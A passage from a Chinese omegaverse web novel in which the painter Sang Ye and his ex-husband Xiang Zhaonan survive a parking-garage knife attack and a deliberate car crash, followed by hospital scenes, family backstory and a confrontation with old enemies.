但李由遵从职业道德,露出惊讶的表情:“桑先生来我们院了?” 相召南却完全没把他的疑问当真。 心里只觉寒冷得可怖。 桑也…… 痛挽和痛恨两种情绪缠绵在一起,令他一时间难以呼吸。 第63章 桑也到家之后就把李由的联系方式拉黑了。 没再去想那一番捉弄般的诊论。 为了奖励老大, 他给老大下单了一个两万五的狗窝,当天下单,晚上就送达了。 运输工搬运进来时, 老大像个小主人一样, 神气地摇着尾巴, 把人直接往二楼桑也的卧室领。 等桑也发现他的房间出现了一个硕大的狗窝时。 已经来不及了。 只能摸摸鼻尖, 叹息看着卧室突兀的一抹粉色。 第二天早上,凌星突然跑到海风府来, 身上还穿着酒店的浴袍, 二话不说钻到桑也的房间,偷了一身桑也的衣服换上, 才下楼来把浴袍交给阿姨, 拜托阿姨帮他还给酒店。 桑也坐在一楼客厅的沙发上,眼睁睁看着凌星突然冲进来, 跑上楼, 又悠哉游哉走下来,坐在自己对面的沙发上。 “做什么亏心事了?” 凌星立马瞪大了眼:“我做亏心事?我?怎么可能!要做也是他……” 桑也微微挑眉,还有内情。 他安静注视着凌星, 嘴角噙着笑,看得凌星头皮一麻。 “都是兄弟, 这几天我先在你家住, 我知道你肯定不会介意的。” 借住都是小事。 海风府空的客卧不少, 里面的陈设都由阿姨套上了防尘布, 只消拆了防尘布, 直接就能入住。 但是。 桑也回想起方才凌星下楼扶着栏杆都还走得慢悠悠、步子一点也不敢迈大的样子。 他装出一副可惜的模样。 “我是不介意,但是可惜,家里没有多的房间让你住了。” 凌星嘴巴张得能吞下鸡蛋。 和之前桑家那套别墅不一样, 凌星对海风府的格局一点也不熟悉,只是靠直觉判断出桑也说的这话可能性不大。 “骗人的吧……”他小声嘀咕,随后意识到自己现在是“寄人篱下”的境地,说话得客气些,清了清嗓子道:“我跟老大住也行。” “我刚都看见了,老大有个窝在你房间,起码两米大,再睡一个我绰绰有余。” “再说了,它一条狗睡得明白吗它?” “别让老大听见了,撵你出去。” “脾气这么大?都是你惯的。” 桑也闷闷一笑,“楼上除了二楼靠楼梯的两个房间,都是空的,你自己挑一个喜欢的住。” “行。”凌星松了一口气,“你待会有安排吗?” 桑也嗯了一声,“陆医生要来实验室这边跟实验员探讨开发思路,我过去听听情况。” “好吧,不打扰你了,我先上楼睡觉,困死我了一晚上没睡。” 凌星打着呵欠就上楼去了。 等凌星从桑也的视野中消失,桑也便也站了起来。 别墅一楼正门口放了一扇衣冠镜,桑也对着镜子看了看自己的脸色。 昨天阿姨告诉他卧室里没有挂钟,加上他回家后自己找了一圈,的确没有发现挂钟的踪迹后,他便没再听见指针滴答滴答的响声。 晚上难得睡了个安稳觉,今天起床脸色看起来的确好些了。 他到实验室的时候,陆医生和特聘的实验员都已经到场。 开会的地方是一间四周围着高透玻璃的会议室,陆医生站在会议的长桌前,身后是放着腺体神经手绘图的PPT。 桑也没有打扰他们,轻声地推开门,在最末尾的位置坐下。 陆让简看见他,和他对视一眼,礼貌地点了点头,接着讲述自己的思路。 “刚才我所说的这些以失败告终的尝试,无一不是以止痛为核心,辅以人工干扰免疫系统,神经系统和内分泌系统。” “相当于在Omega剜除腺体之后用人为手段维持Omega的免疫、神经和内分泌水平。” “但是——”陆让简买了个关子,顿了一顿,“既然患者Omega已经剜除了腺体,为什么还要维持患者原有的分化身份?” “去做这一项手术的人本就屈指可数,都是到无可退让的地步的下下策,下不了手术台的占比极高。他们付出了这么多代价,应该不是想要继续当Omega,对吧?我们过去的思维被这个社会扭曲的认知绑架了。” 桑也打着来探察情况的目的来,却听得入了迷,这时陆让简一番换位思考如同在平静的水面丢进去一颗石子,荡起涟漪。 他仿佛不会泅水的溺水者,被冰冷刺骨的水流覆没了口腔,鼻子,还有眼睛,又突然被无形的力量卷起腰,带出了水。 桑也不动声色地平缓了下心情。 陆让简仍在阐述。 实验员听得专注。 桑也的目光从陆让简身上,悄然移向几名特聘实验员。 “以幻肢疼痛加感知错位为案例,这一后遗症往往是富有神经纤维的腺体移除后神经系统缺位紊乱造成的。” 坐在最前面的实验员若有所思地点头,右手边另一位实验员微微皱眉,似乎在揣测陆让简下一步要提出的建议。 “针对这一情况,我目前的想法是干细胞疗法促进受损组织重生,再利用基因编辑对重生组织进行诱导分化。” 一位实验员露出了质疑的神色。这和他前面所说的不是矛盾了? 桑也看向另几位实验员,只见他们纷纷沉默着,没有打断陆让简,但神色并不轻松信任。 陆让简继续:“不是诱导分化出Omega腺体或者直接让他们变成Alpha,目标腺体是Beta。” “Beta的腺体和Alpha,Omega,都不一样。神经纤维和分泌组织不必另两类人少,但最关键的信息素部位,却萎缩到不能发挥作用,换句话说,这是一个不会对相对性别产生依赖但身体各个系统又十分完善没有任何缺陷的腺体。” 最初那个皱眉的实验员脸上露出恍然大悟的神情,桑也的目光移向另外几位实验员,果然也在他们的脸上看见了不同程度的惊讶和理解。 桑也大体上听明白了,但总归不是专业人士,无法判断这一想法可行性多大。 比其他,这些实验员整天泡在研究当中,紧跟世界各国前端研究,对这一思路自然有相应判断力。 所以桑也这次旁听的重点,不是听陆让简说了什么,而是看,看这些实验员的反应如何。 目前看来,应当是值得一试。 “思路没问题,但诱导分化成Beta腺体,先不说只要Beta腺体难度有多大,光是诱导分化成腺体,就已经要求极高了,目前全世界也没有完全成功的实验记录。” “全世界没有,但新桑可以有。”陆让简不卑不亢,“思路有了,还怕做不出成果来吗?” 话虽如此,刚听了一个颇为新颖的思路、脸上有些笑容的实验员还是不免有些担忧。 “如果能成功,新桑可以将这个项目前三年的收益全部作为分红分发给大家。”桑也适时地开口。 重金之下必有勇夫。 这话一说出口,实验员也不提难不难的事了。 新桑和相氏出钱让他们做实验,实验出成果了,前三年的收益全部归他们。 这换到哪家别的公司都不可能有的待遇。 他们自然是满口答应。 等这群打了鸡血的实验员离场,陆让简走下来,感慨: “还是因为你那次在医院跟我说,要是一开始就是Beta就好了,我才意识我的思维有多么固化,完全成了社会驯化的产物。” 毕竟这么多年的生活和实验,他从来没听到任何人表露出对Beta的羡慕。 在社会上,Beta可是最不受待见的性别。 “没有你那句话,就没有今天这场研讨。” “我随口一说。”桑也不敢居功。 “你在医院不忙的话,也加进来研究吧?不会亏待你。” “看时间吧,我挺感兴趣。” 二人并肩走到停车场。 “最近有犯病吗?”陆让简问候了一句。 桑也先是摇头,“没,这段时间天气干燥,没下雨,就没痛过。” 然而他说完,不见陆让简说话,自己又意识到或许陆让简说的犯病不是这回事。 他长叹了一口气,摇摇头,笑道:“你给我推荐的那个心理医生,不太可信。” 陆让简登时皱眉,“真的假的,他都退步到这个程度了?” 刚好走到陆让简的停车位,一边开车门,一边开玩笑地对桑也说:“坏我名声,我去打听打听情况。” 随后简单道了别,驱车离开了。 桑也目送陆让简离开,才提步朝着自己的车走去。 他来得比陆让简晚,车停得比陆让简靠内,要多走些路。 停车库面积不小,比人宽大的柱子比比皆是。 这时还没到职员下班的时间,车库里只有桑也一个人的脚步声。 红底皮鞋在地面的敲击声仿佛某种旋律,在车库里回响,一声未平,一声又起。 手机里来了一条消息,桑也低头,边走边看。 消息是桑守安发来的。 【陈张董事那个赌博的儿子今天上午取保出来了,你出行当心。】 桑也略一皱眉,心想,难道他们还能故技重施不成? 角落里传来一声微弱的叫声。 桑也心一紧,脚步一滞。 定神看过去,只看见一双红色的眼睛,和一条光秃秃的尾巴。 稍稍安心了些。 竟然是只老鼠。 都冬天了,还能看见老鼠。 他本来想回大哥的信息,现在却又找到大厦物业的电话,给他们编辑信息,让他们注意处理一下车库里的老鼠。 信息还没发出去,一道银光闪过! 刀刃近在眼前,恍惚之间能从反光的刀面看见自己惊慌的眼神。 桑也刚刚放下的心再次提了起来,连连后退。 “是你?” 他们竟然真的敢! 那人从一道梁柱中钻出来,剃着个寸头,右眉的地方有一道疤,双手都只有四指,年龄三十上下,眼神浑浊狠戾,浑身流氓气。 见第一刀竟然被桑也躲了过去,他鼻子出气哼了一声,“算你运气好。” 随后,没有留给桑也任何思考,朝着桑也冲过去,粗壮的手臂携着一把小臂长的短刀,打着不留性命的主意,狠狠一刀。 桑也转身就跑。 然而身后Alpha的速度完全不是他一个身体孱弱的人能比的。 尽管他已经使出了全身的力气,很快,Alpha便追赶上他,又是一刀。 出于对危机的直觉反应,桑也下意识侧了一下身体,刚好躲过了Alpha朝他肩膀砍来的一刀。 然而也因为闪躲得太急,他的身形不稳,踉跄了一下。 Alpha趁机朝他刺来。 桑也的心提到了嗓子眼,短短一瞬,他脑海里闪过无数过往画面,以为自己非死不可,已经到了走马灯的阶段。 甚至心死般,在短刃即将刺到他腹部时闭上了眼。 然而意想当中的刺痛并没有出现。 桑也后知后觉睁开眼,看见相召南一手握住那人手腕,另一手蓄力一击,胳膊肘猛击在那人腹部,让其弯腰驼背,直不起身来,相召南趁势,狠狠砸了他下巴鼻梁骨几拳,鲜血横流。 和桑也比,那人或许占点力气上的优势,但在常年健身锻炼的相召南面前便优势全无了。 那人一口鲜血吐出来。 相召南捶打的速度放缓了些。 反击是正当防卫,真打死了就是防卫过当了。 他心里有数。 然而就在这一瞬间,那人眼里闪过一道暴怒的光,被相召南擒住的手腕骤然挣脱开来,一刀扎进了相召南左臂上。 相召南吃痛地闷哼一声,立即反应过来,猛地一抬腿,踹在那人本就受到重伤的腹部,直接把人踹出去几米远,砸到了不知道谁的车头上。 那人砸到车头上后被反弹回来,吐着血倒在地上。 而相召南,则是毫不犹豫地回头拉着桑也的手臂,想要带着他赶紧离开。 桑也没动。 倒也不是这个时候反骨,只是他看见插进相召南手臂上的刀被那人带动着掉落在不远处的地上,他怕那人肾上腺素飙升,非得和他们同归于尽,又捡起刀冲上来和他们搏斗。 于是快跑了几步,迅速把那把沾了血的刀捡起来,跑回相召南身边。 “走吧。” 相召南刚才没拉住冲出的桑也,心脏骤痛,发现他只是去捡刀后心安了许多,听了桑也的话,立马跟着走了。 人跑不如车跑,赶紧上车。 然而刚迈出去几步,他被相召南拉了一下胳膊。 “上车。” 这时候也不必在意谁的车,只要能把人甩开就行。 因为相召南手臂受伤,桑也二话不说坐进了主驾驶位。 车辆瞬间启动,和爬起来追赶他们的Alpha擦肩而过。 桑也一阵后怕。 一直到车辆驶出停车库,他才稍稍安心些。 相召南的手臂汩汩冒着血。 桑也拧眉,“手套箱里还有毛巾吗?自己捂着止一下血。” 别还没到医院就失血过多走了。 相召南蓦地看向他,不知道在想什么,久久没动。 桑也啧了一声。 相召南才打开储物盒,取出一条干净的毛巾,按在自己手臂上,捂住止血。 看见这辆车时,桑也便猜想车上应该有毛巾。 相召南这么多年一直没换车,还是这台空间巨大的商务车。 以前相召南喜欢按着他在车上做,因此桑也在储物盒放了几张毛巾,以备不时之需,没想到这时候用上了。 相召南手臂上的伤很深,流出来的血很快把车座染色,毛巾刚覆盖上去,就红了个彻底。 他之前腺体伤还没有痊愈,身体正是虚弱的时候。 不过他刚才和那个刀疤脸搏斗的时候,似乎是下了狠手,一点也看不出重伤未愈的迹象。 车辆驶出停车场,进入大道。 桑也朝着最近的医院开去,在一个路口等红灯时,趁空给医院打了电话,让他们在门口准备着。 紧接着报了警。 电话接通时,绿灯还有十秒亮起。桑也开了免提,把手机放在手边。 “喂?”尽管手还微微发抖,从一场惊心动魄的危机中幸存的恐惧和庆幸令他心跳不止,桑也还是强行镇定下来,有条不紊地向警方汇报情况。 “香山路40号金融大厦停车库,有一个眉尾有刀疤的Alpha对我们做出了攻击行为,现在和我同行的另一人手臂被对方携带的刀砍伤,正在前往医院。” “他被我们踹倒在地,腹部有伤,现在应该还在停……” “砰——” 世界归于寂静。 第64章 香山路是S市最繁华的一条街道, 两侧高楼林立,耸入云端,世界顶级的奢侈品品牌扎堆地出现, 三步一顶奢, 五步一蓝血。 路上跑的不是尊贵耀眼、风驰豪奢的跑车, 就是炫酷拉风、声浪无法忽视的机车。 在这一众豪车当中, 一辆黑色低调的商务车并不起眼。 然而当他和另一辆白色汽车相撞,发出轰然巨响时, 所有人的目光都被吸引了过去, 逛街的脚步停顿,谈话的戛然而止, 道路上的车被迫急刹, 连楼角休息的鸟也在受惊滑翔之后停了下来。 巨大的声响喝住了天空的流云雾霭。 五秒钟后,有人爆发出尖锐叫声。 “报警!报警!!” “先救人!” 一瞬间, 所有人被唤醒, 乌泱泱冲到事故点。 十字路口上,黑色商务车被白色车辆从东侧的斑马线,撞到了西侧斑马线旁边的电线杆上。 电线杆折断, 砸在变形的车上。 毫无疑问,如果没有电线杆阻拦, 这辆商务车还将被撞出去不知道几十米。 商务车前后受击, 车尾被白车撞得四分五裂, 车头撞上电线杆, 已经看不出原本的形状, 触目惊心,围观的人无一不怀疑里面的人已经被压碎! 车门也已变形,无法打开。 救人的路人只好协力把电线杆搬开, 把车顶已经碎裂的天窗玻璃翘掉,由身材稍小的人探进上半身,将里面的人拽出来。 两拨人分工,先后将两辆车里面的人挖了出来。 黑色车辆中的两个人被他们抬到路边的阶梯上,而白色车辆中的人,因为大家都看见了白色车撞向黑色车,知道事情是由他造成,他们把人搬出来之后,便没再管他。 黑车中的人搬出来不到半分钟,一道黑烟从中钻出来,在寒冷的冬风中显得有些弱势,但很快,烟雾变得又浓又烈,以迅雷不及掩耳之势烧出一道火红的光! 一个参与救援的路人突然指着楼梯上的两人,说:“是,是桑也?!” 她和朋友对视一眼,立马掏出手机拍照,好一会,朋友才弱弱地出声:“这个长得有点像……他前夫?” “现场记者为您报道,当地时间12点34分,香山路十字路口发生车祸,据事件目击者回忆,当时是白车突然冲出来,将黑车撞飞,一路顶到路边电线杆才停下。两辆车内人员均有不同程度的受伤,黑车内一人重伤,腿部、头部和手臂皆有明显伤口,一人轻伤,白车上仅有一人,同样重伤。” “因为绿灯刚结束,斑马线上没有行人,所以没有路人受伤。” “刚才有目击者认出了受害者,一位是著名油画家桑也,另一位是知名企业家相召南,这实在令人震惊。现在救护车和警车前后抵达,关注频道,我们将为您持续报道后续情况。” 一桩车祸,因为受害者特殊的身份,瞬间冲上了热搜。 而受害者,在路边不知所措。 桑也坐在车内,亲眼看着自己被猛地撞飞,眼看着就要冲向人群,他猛打方向盘才让车辆撞向电线杆。 然而后车的再次撞击和电线杆的压迫,形成前后夹击,轰鸣在他耳畔炸开,恍惚间他什么也听不见。 只有相召南扑向自己的画面还历历在目。 他身上只有些许擦伤,但相召南…… 桑也无神的目光看向相召南的双腿,那里已经扭曲变形到看不出形状。 再往上,相召南的头也未曾幸免,一道血流挂在他的右脸上。 桑也坐在他身边,说不出话。 他想问相召南为什么救他,但他又不敢听相召南的答案。 他像个胆小鬼,什么也不敢做,什么也不敢说。 相召南受到的伤放在任何人身上都是痛不欲生的程度,但相召南并没有喊痛,也没有流露出痛苦的神情。 反而异常平静。 他动了动手,似乎想要触摸桑也的脸,但没有任何力气,只能翕动唇,发出幽微的声响。 “别怕,一点也不痛。” 桑也像个提线木偶一样僵硬地歪了歪头。 似乎对相召南说的这话感到奇怪。 不痛。 相召南要死了吗? 他依稀记得一些浅薄的生物知识,说的是车祸后的一些人会感到不痛不痒,看起来像没事人一样,但并非真的没事,而是他们的身体激素迅速分泌,屏蔽了痛觉,等激素时效过去,受伤者的生命会迅速被抽去。 桑也看着相召南,只见对方右脸的血流进了他的眼眶,使他整只右眼被鲜血占据。 相召南似乎又说了点什么,但声音极其微弱,桑也覆身,凑近了去听。 发现相召南说的是“我爱你”。 加上前半句,桑也靠着读他的唇形半蒙半猜拼凑出完整的话。 相召南说:“危机来临时,全世界我最爱你。” 桑也心想,相召南一定是要死了。 否则怎么会说出他爱他这种话? 救护车响着铃停在了事发点,穿着白大褂的医生抬着担架停在桑也面前。 突然,一个医生喊道:“这位先生,我想他应该还没有死,不用急着帮他瞑目!” 桑也反应了许久才明白这话是什么意思,慢慢收回了手。 没死啊。 难怪他帮相召南合眼都合不上。 “先把这个抬上去。担架,再来一个担架!这还有一个动不了的!” 桑也发现他们说的动不了的竟然是自己,似乎是赌气般想要证明自己还能动,他努力站起来,结果根本使不上力,只能让医护人员把他抱起来,放上担架。 这才意识到,他的力气在猛打方向盘的时候,就已经耗尽了。 上了救护车,相召南昏迷了过去,而桑也也逐渐开始感到疼痛。 到医院,相召南直接被送进手术室,桑也受伤较轻,多是外伤,由几个护士帮他处理伤口。 他身上有多处擦伤,撞击伤,但好在没有伤到骨头,处理了半个多小时后,便让他去病房休息。 桑也不敢闭眼,他一闭上眼,眼前就是车祸时的画面,那种拼尽浑身力气做出反应最后全身无力的麻木感便会再次涌现。 护士张峰推开门,来登记信息。 他照例询问信息,“名字?” “……桑也。” 张峰猛地一抬头。 脸上流露出愕然的神色。 他结结巴巴道:“你你你你、你又把人捅了?” 桑也摇头,“车祸。” 张峰登时倒吸一口凉气,“你把人撞了?” 桑也缓缓眨了眨眼,“也不是。” 张峰不知道是什么神情,有点安心,又有点失望,嘴上念着“那就好”,但明显不太信任。 离开时,桑也听见他小声嘀咕:“我溜个号看看新闻应该问题不大吧?” 说的新闻应该是他和相召南车祸的事情。 人走后,桑也安安静静坐在床上。 每当事故发生,他就会像个单纯无辜的小孩一样,说话,行事,都流露出一股稚气,仿佛一瞬间回到了多年前。 直到陆让简推门进来,他才慢慢从孩童的气质中蜕化出来。 陆让简主攻腺体疾病,车祸导致的外伤不在他工作范畴内,因此能得空来探望探望桑也,顺便分享下一手情报。 “据说他双腿粉碎性骨折,中度脑震荡,因为之前的腺体问题加上刚刚过去的易感期,大家都不敢给他上猛药,只能……”陆让简说着也有些感同身受地幻痛,不自觉地皱眉和嘴角下拉。 虽然安全气囊成功弹出来,但再坚韧的防护,也抵不过大货车碾压般的压迫,相召南还留着一条性命,已经是不幸中的幸运了。 桑也垂下眼眸,又浓又密的睫羽洒下一片阴影,让人看不起他眼中的挣扎和痛楚。 “你感觉怎么样?” “还好。”桑也低声回复。 “没事就好,我前脚刚走,就看到了你出车祸的新闻,吓我一跳,早知道多留一会,唉。” “不怪你。” 桑也抬头望向门口的陆让简。 陆让简知道桑也不会怪他,但他良心不安,把话说开才能让他稍稍安心些。 但是…… 桑也说话怎么一股子孩子味?像那种没完全学会说话,只能几个字几个字往外蹦的小孩。 他眉心紧锁,“你……没失忆吧?” “没有。” 陆让简半信半疑。 又问候了几句,他跟桑也道了别,回到自己的休息室,给李由打了个电话。 “……你说他这种情况,是怎么回事?” “正常的,之前他和我做心理咨询的时候我就套出了他的话,已经不是第一次了。每当身边人,嗯主要是相召南,表现出悔意,歉疚,都会引起他应激,像身体上的痉挛,和刚才你说的反应迟钝,说话稚气,都是他理性思维对自己的保护机制。” “……正常?” “正常。” 陆让简挂断电话,思来想去,还是感到难以理解。 VIP病房里,桑守安和警察涌了进来。 三个当事人只有一个还清醒着,警察自然只能率先找他取证。 “出车祸前的报警电话是你打的吗?” 桑也点头。 “故意伤人应该是跑不掉了。”为首的警察表示,“你们先前有什么过节吗?” 桑也似乎无法反应这个复杂的问题,只是看着警察。 桑守安转身面向警察,帮他回答了这个问题。 听完来龙去脉,那名警察总结道:“他家里用栽赃陷害的手段收购了你们原本的公司,结果经营不善,事情又案发,最后公司被处置,怀恨在心,早上取保出来便埋伏在车库,有预谋地伤人,是这样吧?” “大致情况我已经了解了,接下来我们会去仔细查看车库和香山道路的监控,有了结果会第一时间通知你们。” 桑守安向他们道了谢,把人送走后,回来坐在桑也床边。 他拍了拍桑也的手,感受到那双手冰冷刺骨,眉心聚满了寒气。 “陈家强腹部贯穿伤,现在还在手术室。” “治,当然会治,这我阻止不了。但治成什么样,可就不受约束了。” 桑守安冷笑,眼里全是自己弟弟麻木的神情。 他看着,那张为世人所称道的俊朗面部,充满了死气,双目失焦,无神地盯着床对面的白色墙壁,皮肤失去了往日的光泽,苍白,黯淡,仿佛被浓重的阴霾所覆盖。 从小娇生惯养的弟弟在成年后经受了无数的痛苦,接二连三的事故仿佛要从他身边夺走弟弟,这让他如何能平息怒火? “你好好休息,我去把事情安排了,好吗耶耶?”桑守安帮桑也捋了下额角的碎发,动作轻柔至极,露出一小块纱布。 其实桑也的小名并不一直是耶耶。 在桑也三岁前,家里人都随着沈音华叫他小宝,后来桑也上了幼儿园,回到家里死活不肯让爸妈再叫他小宝。 桑守安还记得十三岁那年那天晚上回到家,他刚下车,一个粉白粉白的团子就瘪着小嘴张着手迈着短腿跌跌撞撞朝他跑来。 被桑守安抱起来,桑也揪着他的校服衬衫衣领,哭哒哒地说:“大、大宝,窝们改名字好不嚎……” 追赶出来的桑成和付乔安都哭笑不得,不知道怎么跟桑也解释他的名字不是小宝,而是桑也,他哥哥更不叫大宝。 这两个名字的寓意其实大同小异,守安,守安,守护付乔安,守望平安。 生桑守安时,还没有要老二的想法,后来意外有了桑也,便取了个“也”字。 只是可惜,他们谁也没守住付乔安。 最后几个人好说歹说,才让桑也面前接受自己的大名。 但他又不让其他人叫他大名。 小嘴一撅,说:“不准叫窝大名,我不是妈妈的宝宝了吗?” 付乔安愣了一下,忙说好,那就叫也也,问桑也喜不喜欢这个名字,小小的桑也害羞得小脸往桑守安胸口塞。 晚上睡觉的时候,桑守安问桑也,为什么突然不喜欢小宝的名字了。 桑也气鼓鼓的,狠狠惩罚了一下枕头,告诉他幼儿园的老师叫他们做自我介绍,桑也说他叫小宝,所有人都笑了! 桑守安听完也偷着闷笑。 后来回到春城,沈音华带着桑也在路上玩,偶遇一只又白又胖的萨摩耶,毛发蓬松,桑也摸着舍不得撒手。 他问姥姥这是什么狗狗,姥姥说这是一只耶耶。 谁料桑也搂着萨摩耶的脖子,眨着亮汪汪的眼睛,小声嘀咕:“你是耶耶,我是也也。” 小小的桑也说话还有些含糊不清,听起来像一个字。 沈音华那时候听力还很好,听见了笑着说,“我们家也是耶耶。” “那以后姥姥就叫你耶耶,好不好?” “好不好?” 桑也终于有了一点反应。 “……好。” 桑守安这一出门,一直到晚上十一点,才回来。不过他事先安排了陪护,桑也吃饭,上厕所,都有人照顾。 他回来后,陪护才离开。 “很快就会出结果,这次绝对不会让他们好过……” 病房里有另一张床,他二人各占一张,时隔十多年,再次在同一间房间入睡。 寂静的夜。 除了查房的护士在楼道间走动,别无声响。 桑也睁着眼,望着天花板。 慢慢地,他坐起来。 找到桑守安的手机,拨通了一个电话。 电话那边对半夜两点被吵醒似乎有所怨气,但知道打电话的人得罪不起又不敢大声说话,只是问:“桑总有什么急事吗?” 然而令他意外的是,电话对面并不是他所预料的“桑总”,而是另一位“桑总”。 “张院长,陈家强精神稳定,意识清晰,没有任何精神疾病……你明白吗?” 桑也的话平而稳,似乎不带有一丝感情色彩,然后从骨子里透露出来的寒气却让张院长不自觉打了一个寒战。 “明白,明白,我明天一早就交代下去。” “不不不,我现在通知他们。” 市中院的一把手,只要和其他医院稍一通气,便不会有任何医院敢给陈家强开出精神疾病诊断证明。 第65章 匿名论坛。 【他们为什么又在一起了, 牙都快给我咬碎了,谁允许你们坐一辆车的???】 【xzn死了没死了没死了没死了没死了没,没死我去补刀。】 【上天保佑xzn可千万别活。】 【你们手机里的照片什么的还好吗, 我手机隐私相册莫名其妙被清空了, 老公的ai图一张也没有了。】 re:【我的文也没了……我的精神食粮啊啊啊啊再不还给我我要放火烧市政厅了啊啊啊啊!】 提示:本站废止, 此后禁止发言, 该条内容已被删除。 【我朋友是医院护士,跟我说他们关系挺僵的, 当时我还高兴了好一段时间, 结果现在你跟我讲你俩坐上了同一辆车?还是空间巨大的库利南?别告诉我你们还在车上打了一炮?宝宝你不会还想和他死在一块吧?】 re:【贱人!贱人!两个贱人!不准复合,不准重归于好, 不准背叛我们!!!】 提示:本站废止, 此后禁止发言,该条内容已被删除。 …… 当流媒体上掀起关于桑也和相召南车祸的热议时, 在常人难以进入的网络角落, 一个匿名论坛正在不断地瓦解。 无数的内容被发布,又被秒删,到后来, 发布新内容的权限被移除,论坛关站, 所有陈年旧贴都被人用难以用肉眼观测的速度一一删除。 从此变成一片净土。 搜索“桑也”时, 关联词只剩下“油画”“商业新秀”“新桑科技”种种。 再也不会有“链接”“新站”“崩了”此类答案。 对此一无所知的桑也第二天午时才醒来。 他身上重伤没有, 小伤不少。 因为缺少能调动身体力量的腺体, 他身上的伤恢复起来要比常人慢得多。 好在不影响行动。 洗漱了一下后, 病房门被打开。 凌星带着老大来探望桑也。 老大一进来就伸着脖子嚎叫,像是责怪桑也这么久没回家,又像是心疼桑也身上贴着密密麻麻的纱布。 凌星在老大的狗头上敲了一下, 老大立马安静下来。 显然一晚上的相处让二人之间有了明显的上下级界限。 老大唯唯诺诺地挪到桑也脚边,蹭了蹭桑也。 “本来昨天你出事后我就打算来医院看你的,但是桑大哥说你心情不好,让我先不来打扰你。” 凌星有些不解,“我不明白有什么可心情不好的,相召南要死了,不该高兴吗?” 桑也低头抿唇一笑,“你说得对。” 说着,他往凌星手上看了看,“你来探望病号,空着手来?” “啊?” “就没买点吃的?” “啊?”凌星抠了抠头,“哎呀,这不忘了吗,要不,我现在给你去买?” 桑也倒也不是真责怪凌星,含蓄笑了一下。 “不用了,我叫陪护进来。你要没事干,帮我溜一下老大?” VIP病房和普通病房并不在同一栋楼,甚至相距甚远,因此这周围环境清幽,少有人走动,不少住院的病人都乐意带上自己的小猫小狗,开展一段猫狗交际。 凌星得令,拽着老大的狗绳,“那我下去啦。” 出了门,又小声念叨:“来都来了,刚好去买点软膏。” 陪护早上就来了,在隔壁单独的陪护房间休息,是个五十岁左右的女性Beta,做事很仔细,接到桑也电话后没多久就带着一碗甜粥上来。 桑也胃口不佳,只吃了半碗左右,就让陪护拿去丢了。因为是厨余垃圾,不好随便丢,陪护得往楼下跑一趟。 吃饭的时候,桑也问了一嘴相召南的情况。 陪护说:“他手术一直做到今天早上,听说用过的止血纱布都装满了好几个垃圾桶。腿骨碎裂,一块块拼起来,不过除了之前受伤的腺体,其他生命器官,倒是没有受到太大的威胁。” “就是痛,剧痛,能扛过去基本能活。” 陪护走后,不知道出于一点怜惜还是为人的道德感,他对着洗手间的镜子,理了理自己的病号服。 决定去帮相召南结束苦难。 然而刚打开门,就撞见了两位不速之客。 当然,这二位不是冲着桑也来的,只是刚好撞见,临时起了想法,跟他打起了招呼。 钱余父子。 桑也没回应。 钱余父亲脸上有些挂不住表情,推了推钱余,“你赶紧的。” 虽然他语气不好,面上表情似乎也嫌弃,但桑也能清楚地明白,装模做样的嫌隙也不过是应对之策。 桑也安静看着挡路的人。 钱余被他看得发毛,委委屈屈地往前走了两步。 “那个……以前的事情是我做得不道德,你、你能不能让相召南放过我?”钱余看起来要哭了。 桑也心想,他又不是什么鬼魅,长得也不吓人,至于吗。 “现在我走到哪里都有人知道我……我,”他的声音一下子低了下去,“抄袭的事。” “可是我已经知道错了,我那之后再也没有抄袭过了!” “你能不能帮我求求情,让他放过我,我给你道歉,对不起!对不起!”钱余越说越激动,甚至冲上来抓着桑也的肩膀使劲摇晃。 抄袭仿佛一枚烙印,从此刻在了他的面上,无论他是去学校进修,还是去设计公司面试,所有人都用嬉笑的眼神看着他,就连他爸爸自家的公司,那些员工也是表面尊敬,背地里把他贬到地底,每一道眼神,就快要让他崩溃了。 甚至他去相氏找相召南的时候,前台居然敢无视他!明明他在相氏的时候那些人还捧着他,转眼就翻脸不认人! 桑也头脑一阵晕眩。 这是陪护刚好上来,看见这一幕,吓得马上跑过来,把钱余一下子推到对面的墙壁上。 “先生,你还好吗?” 桑也稳了稳身形,捂着额头,等颅内的坠痛慢慢缓解。 半晌,他才抬起头,“你,叫我,去找相召南,帮你,求情?” 他说得一顿一顿的,似乎每个词语,每个组合,都让他感到天破了一样的荒谬。 钱余脸刷的白了。 “我、我那天只是一时冲动,我没想害你失去腺体,我以为只是……” 说到这里,他的语气反而有些了真诚。 桑也只觉得奇怪。 他不对伤害了一个人感到后悔,反而对伤害了一个腺体而感到愧疚。 这个世界真的疯了。 桑也移开目光,不打算管这件事。 自作自受,有什么理由为自己叫屈?敢做就要敢当,有勇气做那样的事情,怎么能没有勇气承受后果。 要是所有人都能空手套白狼,才真的鬼诞。 钱余见自己声情并茂的演说完全打动不了眼前这个人,只好换了策略。 “是,我的确做了错事,可我爸爸对他的恩情难道还不足以弥补吗?” 桑也等他继续讲。 钱余咽了咽口水,虽然对面的人什么也没说,眼睛也没有眨一下,但莫名给他一种杀气很重的感觉,让他差点说不出话来。 他撞了撞自己父亲,想让他开口说话,结果他完全置身事外! 没办法,钱余只好自己接着讲:“当年相召南转专业到金融系,缺了太多课程,专业知识漏了一大堆,要不是我爸爸看他学习态度好,辛辛苦苦帮他补回没学到的知识,他也不会有现在这样的成就吧?我们不是要居功,只是想要一个公平,古代皇帝大臣都还讲究功过相抵……” 桑也哧地一下笑了。 他看向站在钱余身后的那位金融学教授,歪了歪头:“你怎么不说话?”又转向钱余,“记得这么清楚,讲了不少回……套了不少好处吧?” 钱余一时说不出话来,仿佛有一双无形的手扼住了他的喉咙,他看看桑也,又猛地回头看向自己父亲。 眼神里充斥着不可置信的怀疑。 桑也轻轻笑了一下,“看来你们还有家事要处理。” 他转身,走了两步,按响了专门的呼叫器,立马就有人从楼道末尾的房间探出头来,是每层楼安排的保卫,看见有陌生人堵在其中一间病房门口,抄起电棍就大步跨行而来。 钱余父子二人一看保卫,立马解释自己是来探望病人的,但是保卫看桑也的脸色瞬间就明白不是这么一回事,轻车熟路地扬起电棍威胁人,赶紧走,不走就保证不了后果了。 钱余踹了一脚墙,神色难堪地慢慢挪动步子,他父亲在他身后,低声说了句:“你怎么这么没用!” “我没用?!我没用?!你怎么不说话?你还装什么呢,摆什么教授的谱?当初不是你要我去勾引相召南,我会沦落到这个地步吗?!”钱余抓狂地推了他父亲一把。 他父亲见钱余说话慌不择言,连忙堵住他的口,拽着人赶紧走。 钱余被捂着嘴,还想说什么。 保卫吼了一句:“安静!” 立马没了声音。 